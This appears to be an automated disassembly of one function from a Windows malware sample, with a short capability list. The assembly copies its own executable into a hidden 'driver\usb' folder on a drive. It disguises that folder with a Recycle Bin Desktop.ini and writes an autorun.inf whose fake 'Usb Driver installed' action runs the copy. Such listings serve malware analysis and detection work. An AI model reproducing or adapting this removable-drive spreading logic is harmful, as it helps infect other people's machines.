Function at 0x40898a
Capabilities:
Copy file
Create directory
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push edi
mov byte [ebp - 0x41c], 0
mov ecx, 0x80
xor eax, eax
lea edi, [ebp - 0x41b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov byte [ebp - 0x20c], 0
mov ecx, 0x80
xor eax, eax
lea edi, [ebp - 0x20b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x41c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.driver
lea edx, [ebp - 0x41c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x408a0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x408a0c
xor eax, eax
jmp 0x408d15
push 7
lea ecx, [ebp - 0x41c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.usb
lea edx, [ebp - 0x41c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x408a54
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x408a54
xor eax, eax
jmp 0x408d15
push 7
lea ecx, [ebp - 0x41c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.Desktop.ini
lea edx, [ebp - 0x41c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 1
jae 0x408aa7
xor eax, eax
jmp 0x408d15
push 0
lea ecx, [ebp - 8]
push ecx
push 0x3f
push str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x408ad9
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x408d15
mov ecx, dword [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x41c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x41c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x408b13
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
jmp 0x408afd
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov byte [edx], 0
push 0x4116b0
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x201
lea ecx, [ebp - 0x20c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
lea edx, [ebp - 0x41c]
push edx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 0x214], eax
push 7
lea ecx, [ebp - 0x41c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x218], 0
jmp 0x408b8e
mov edx, dword [ebp - 0x218]
add edx, 1
mov dword [ebp - 0x218], edx
cmp dword [ebp - 0x218], 0x202
jae 0x408baa
mov eax, dword [ebp - 0x218]
mov byte [ebp + eax - 0x20c], 0
jmp 0x408b7f
lea ecx, [ebp - 0x41c]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
movsx eax, byte [edx]
cmp eax, 0x5c
je 0x408bc9
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x408bb3
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
push str._autorun__r_nopen
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._r_nactionOpen_r_nshellopenOpen_r_nshellopencommand
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 4]
push ecx
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._r_nUsb_Driver_installed
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x218], 0
jmp 0x408c45
mov ecx, dword [ebp - 0x218]
add ecx, 1
mov dword [ebp - 0x218], ecx
cmp dword [ebp - 0x218], 0x202
jae 0x408c61
mov edx, dword [ebp - 0x218]
mov byte [ebp + edx - 0x41c], 0
jmp 0x408c36
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x41c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._autorun.inf
lea edx, [ebp - 0x41c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x80
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 7
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x41c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 1
jae 0x408cc5
xor eax, eax
jmp 0x408d15
push 0
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea ecx, [ebp - 0x20c]
push ecx
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x408d02
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x408d15
mov ecx, dword [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x214]
pop edi
mov esp, ebp
pop ebp
ret